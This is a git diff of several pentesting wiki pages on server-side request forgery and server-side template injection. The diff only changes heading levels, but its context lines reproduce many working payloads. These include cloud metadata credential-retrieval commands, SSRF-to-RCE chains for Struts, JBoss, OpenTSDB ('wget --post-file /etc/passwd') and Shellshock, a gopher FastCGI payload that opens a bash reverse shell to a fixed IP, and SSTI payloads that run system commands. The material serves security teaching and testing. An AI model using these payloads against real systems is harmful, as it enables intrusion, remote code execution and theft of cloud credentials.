a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials: @@ -240,7 +239,7 @@ If you find a SSRF vulnerability in a machine running inside a cloud environment [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} -### SSRF Vulnerable Platforms +# SSRF Vulnerable Platforms Several known platforms contains or has contained SSRF vulnerabilities, check them in: @@ -248,13 +247,13 @@ Several known platforms contains or has contained SSRF vulnerabilities, check th [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) {% endcontent-ref %} -## Tools +# Tools -#### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) +## [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) Tool to detect and exploit SSRF vulnerabilities -#### [Gopherus](https://github.com/tarunkant/Gopherus) +## [Gopherus](https://github.com/tarunkant/Gopherus) * [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) @@ -267,21 +266,21 @@ This tool generates Gopher payloads for: * Zabbix * Memcache -#### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) +## [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly. -#### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) +## [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF). -#### To practice +## To practice {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} -## References +# References * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index d0c8e176..48148d8f 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Cloud SSRF +# AWS -## AWS +## Abusing SSRF in AWS EC2 environment -### Abusing SSRF in AWS EC2 environment - -#### 169.254.169.254 - Metadata Address +### 169.254.169.254 - Metadata Address **Metadata** of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). @@ -76,7 +74,7 @@ Another possible interesting place where you can find credentials is in[ http:// [**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges -### SSRF in AWS ECS (Container Service) credentials +## SSRF in AWS ECS (Container Service) credentials **ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**. @@ -88,7 +86,7 @@ You could be able to read it exploiting an **Path Traversal** to _file:///proc/s curl "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` -### SSRF URL for AWS Elastic Beanstalk +## SSRF URL for AWS Elastic Beanstalk We retrieve the `accountId` and `region` from the API. @@ -107,9 +105,9 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. -## GCP +# GCP -### SSRF URL for Google Cloud +## SSRF URL for Google Cloud Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" and you can access the metadata endpoint in with the following URLs: @@ -121,40 +119,40 @@ Interesting endpoints to extract information: ```bash # /project -## Project name and number +# Project name and number curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id -## Project attributes +# Project attributes curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin -## users +# users curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/users -## groups +# groups curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/groups -## security-keys +# security-keys curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/security-keys -## authorize +# authorize curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/authorize # /instance -## Description +# Description curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description -## Hostname +# Hostname curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname -## ID +# ID curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id -## Image +# Image curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image -## Machine Type +# Machine Type curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/machine-type -## Name +# Name curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/name -## Tags +# Tags curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/scheduling/tags -## Zone +# Zone curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/zone -## Network Interfaces +# Network Interfaces for iface in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") @@ -163,7 +161,7 @@ for iface in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata echo " Network: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done -## Service Accounts +# Service Accounts for sa in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/email") @@ -173,18 +171,18 @@ for sa in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/co echo " Token: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/token") echo " ============== " done -## K8s Attributtes -### Cluster location +# K8s Attributtes +## Cluster location curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-location -### Cluster name +## Cluster name curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-name -### Os-login enabled +## Os-login enabled curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin -### Kube-env +## Kube-env curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-env -### Kube-labels +## Kube-labels curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-labels -### Kubeconfig +## Kubeconfig curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig ``` @@ -195,7 +193,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` -### Add an SSH key +## Add an SSH key Extract the token @@ -224,7 +222,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` -## Digital Ocean +# Digital Ocean Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) @@ -240,11 +238,11 @@ http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one re curl http://169.254.169.254/metadata/v1.json | jq ``` -## Packetcloud +# Packetcloud Documentation available at [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata) -## Azure +# Azure Limited, maybe more exists? [`https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`](https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/) @@ -257,7 +255,7 @@ http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text ``` -## OpenStack/RackSpace +# OpenStack/RackSpace (header required? unknown) @@ -265,7 +263,7 @@ http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/pu http://169.254.169.254/openstack ``` -## HP Helion +# HP Helion (header required? unknown) @@ -273,7 +271,7 @@ http://169.254.169.254/openstack http://169.254.169.254/2009-04-04/meta-data/ ``` -## Oracle Cloud +# Oracle Cloud ``` http://192.0.0.192/latest/ @@ -282,7 +280,7 @@ http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/attributes/ ``` -## Alibaba +# Alibaba ``` http://100.100.100.200/latest/meta-data/ @@ -290,7 +288,7 @@ http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/image-id ``` -## Kubernetes ETCD +# Kubernetes ETCD Can contain API keys and internal ip and ports @@ -299,7 +297,7 @@ curl -L http://127.0.0.1:2379/version curl http://127.0.0.1:2379/v2/keys/?recursive=true ``` -## Docker +# Docker ``` http://127.0.0.1:2375/v1.24/containers/jsonSimple example @@ -308,7 +306,7 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json ``` -## Rancher +# Rancher ``` curl http://rancher-metadata// diff --git a/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index 363bd702..dc5824ff 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# SSRF Vulnerable Platforms - This section was copied from [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/) -## Elasticsearch +# Elasticsearch **Commonly bound port: 9200** @@ -46,7 +44,7 @@ Note: the `_shutdown` API has been removed from Elasticsearch version 2.x. and u /_cluster/nodes/_all/_shutdown ``` -## Weblogic +# Weblogic **Commonly bound ports: 80, 443 (SSL), 7001, 8888** @@ -136,13 +134,13 @@ Content-Length: 117 _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml") ``` -## Hashicorp Consul +# Hashicorp Consul **Commonly bound ports: 8500, 8501 (SSL)** Writeup can be found [here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html). -## Shellshock +# Shellshock **Commonly bound ports: 80, 443 (SSL), 8080** @@ -158,7 +156,7 @@ Short list of CGI paths to test: User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY ``` -## Apache Druid +# Apache Druid **Commonly bound ports: 80, 8080, 8888, 8082** @@ -187,7 +185,7 @@ Shutdown supervisors on Apache Druid Overlords: /druid/indexer/v1/supervisor/{supervisorId}/shutdown ``` -## Apache Solr +# Apache Solr **Commonly bound port: 8983** @@ -219,7 +217,7 @@ Taken from [here](https://github.com/veracode-research/solr-injection). [Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler) -## PeopleSoft +# PeopleSoft **Commonly bound ports: 80,443 (SSL)** @@ -274,7 +272,7 @@ Content-Type: application/xml ``` -## Apache Struts +# Apache Struts **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -288,7 +286,7 @@ Append this to the end of every internal endpoint/URL you know of: ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} ``` -## JBoss +# JBoss **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -300,7 +298,7 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war ``` -## Confluence +# Confluence **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -318,7 +316,7 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` -## Jira +# Jira **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -338,7 +336,7 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com ``` -## Other Atlassian Products +# Other Atlassian Products **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -356,7 +354,7 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` -## OpenTSDB +# OpenTSDB **Commonly bound port: 4242** @@ -376,7 +374,7 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json ``` -## Jenkins +# Jenkins **Commonly bound ports: 80,443 (SSL),8080,8888** @@ -404,7 +402,7 @@ pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay) ``` -## Hystrix Dashboard +# Hystrix Dashboard **Commonly bound ports: 80,443 (SSL),8080** @@ -416,7 +414,7 @@ Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1 /proxy.stream?origin=http://SSRF_CANARY/ ``` -## W3 Total Cache +# W3 Total Cache **Commonly bound ports: 80,443 (SSL)** @@ -456,7 +454,7 @@ echo($req); ?> ``` -## Docker +# Docker **Commonly bound ports: 2375, 2376 (SSL)** @@ -481,7 +479,7 @@ Content-Type: application/json Replace alpine with an arbitrary image you would like the docker container to run. -## Gitlab Prometheus Redis Exporter +# Gitlab Prometheus Redis Exporter **Commonly bound ports: 9121** @@ -499,7 +497,7 @@ http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=* **Possible via Gopher** -## Redis +# Redis **Commonly bound port: 6379** @@ -611,7 +609,7 @@ While this required authenticated access to GitLab to exploit, I am including th git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -## Memcache +# Memcache **Commonly bound port: 11211** @@ -624,7 +622,7 @@ gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a: gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a ``` -## Apache Tomcat +# Apache Tomcat **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -636,7 +634,7 @@ CTF writeup using this technique: [From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/) -## FastCGI +# FastCGI **Commonly bound ports: 80,443 (SSL)** @@ -646,7 +644,7 @@ This was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/). gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00 ``` -## Java RMI +# Java RMI **Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999** diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index ffac94e9..177131c4 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -17,12 +17,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# URL Format Bypass - -### Localhost +## Localhost ```bash -## Localhost +# Localhost http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 @@ -37,7 +35,7 @@ http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ -## CDIR bypass +# CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 @@ -46,34 +44,34 @@ http://127.0.0.0 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 -## Decimal bypass +# Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 -## Octal Bypass +# Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 -## Hexadecimal bypass +# Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 -## You can also mix different encoding formats -## https://www.silisoftware.com/tools/ipconverter.php +# You can also mix different encoding formats +# https://www.silisoftware.com/tools/ipconverter.php -## Malformed and rare +# Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 -## DNS to localhost +# DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) @@ -87,7 +85,7 @@ spoofed.burpcollaborator.net = 127.0.0.1 ![](<../../.gitbook/assets/image (649) (1) (1).png>) -### Domain Parser +## Domain Parser ```bash https:attacker.com @@ -117,7 +115,7 @@ attacker。com ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` -### Domain Confusion +## Domain Confusion ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost @@ -162,7 +160,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ next={domain}&next=attacker.com ``` -### Paths and Extensions Bypass +## Paths and Extensions Bypass If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses: @@ -172,7 +170,7 @@ https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` -### Bypass via redirect +## Bypass via redirect It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\ For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\ @@ -199,9 +197,9 @@ class Redirect(BaseHTTPRequestHandler): HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` -## Explained Tricks +# Explained Tricks -### Blackslash-trick +## Blackslash-trick In short, the _backslash-trick_ relies on exploiting a minor difference between two “URL” specifications: the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 is a generic, multi-purpose specification for the syntax of _Uniform Resource Identifiers_, while the WHATWG URL Standard is specifically aimed at the Web, and at URLs (which are a subset of URIs). Modern browsers implement the WHATWG URL Standard. @@ -209,7 +207,7 @@ Both of them describe a way of parsing URI/URLs, with one slight difference. The ![The two specifications parsing the same URL differently](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) -### Other Confusions +## Other Confusions ![](<../../.gitbook/assets/image (629).png>) diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 6c053229..13b0faab 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -16,9 +16,8 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## SSTI (Server Side Template Injection) -### What is server-side template injection? +# What is server-side template injection? A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. @@ -36,11 +35,11 @@ In the previous example **part of the template** itself is being **dynamically g http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -### Constructing a server-side template injection attack +# Constructing a server-side template injection attack ![](../../.gitbook/assets/ssti-methodology-diagram.png) -#### Detect +## Detect As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot **`${{<%[%'"}}%\`.**\ In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**.\ @@ -71,7 +70,7 @@ The URL access that page could be similar to: `http://vulnerable-website.com/?gr If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** (if the closing template expression chars were **`}}`**).\ If an **error** is thrown during these test, it will be easier to find that the server is vulnerable. -#### Identify +## Identify Once you have detected the template injection potential, the next step is to identify the template engine.\ Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters. @@ -88,7 +87,7 @@ Otherwise, you'll need to manually **test different language-specific payloads** ![](<../../.gitbook/assets/image (272).png>) -#### Exploit +## Exploit **Read** @@ -111,9 +110,9 @@ Developer-supplied objects are particularly likely to contain sensitive informat At this point you should have a **firm idea of the attack surface available** to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities. -### Tools +# Tools -#### [Tplmap](https://github.com/epinna/tplmap) +## [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell @@ -121,15 +120,15 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomm python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` -### Exploits +# Exploits -#### Generic +## Generic In this **wordlist** you can find **variables defined** in the environments of some of the engines mentioned below: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) -#### Java +## Java **Java - Basic injection** @@ -155,7 +154,7 @@ ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` -#### FreeMarker (Java) +## FreeMarker (Java) You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) @@ -190,7 +189,7 @@ ${dwf.newInstance(ec,null)("id")} * In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) -#### Velocity (Java) +## Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) @@ -208,7 +207,7 @@ $str.valueOf($chr.toChars($out.read())) * In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) -#### Thymeleaf (Java) +## Thymeleaf (Java) The typical test expression for SSTI is `${7*7}`. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions: @@ -238,7 +237,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) -#### Spring View Manipulation (Java) +## Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x @@ -247,7 +246,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) -#### Pebble (Java) +## Pebble (Java) * `{{ someString.toUPPERCASE() }}` @@ -280,7 +279,7 @@ New version of Pebble : .newInstance(([bytes]).toArray()) }} ``` -#### Jinjava (Java) +## Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' @@ -307,7 +306,7 @@ Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpo * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) -#### Hubspot - HuBL (Java) +## Hubspot - HuBL (Java) * `{% %}` statement delimiters * `{{ }}` expression delimiters @@ -366,7 +365,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) -#### Expression Language - EL (Java) +## Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. @@ -381,7 +380,7 @@ Check the following page to learn more about the **exploitation of EL interprete [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} 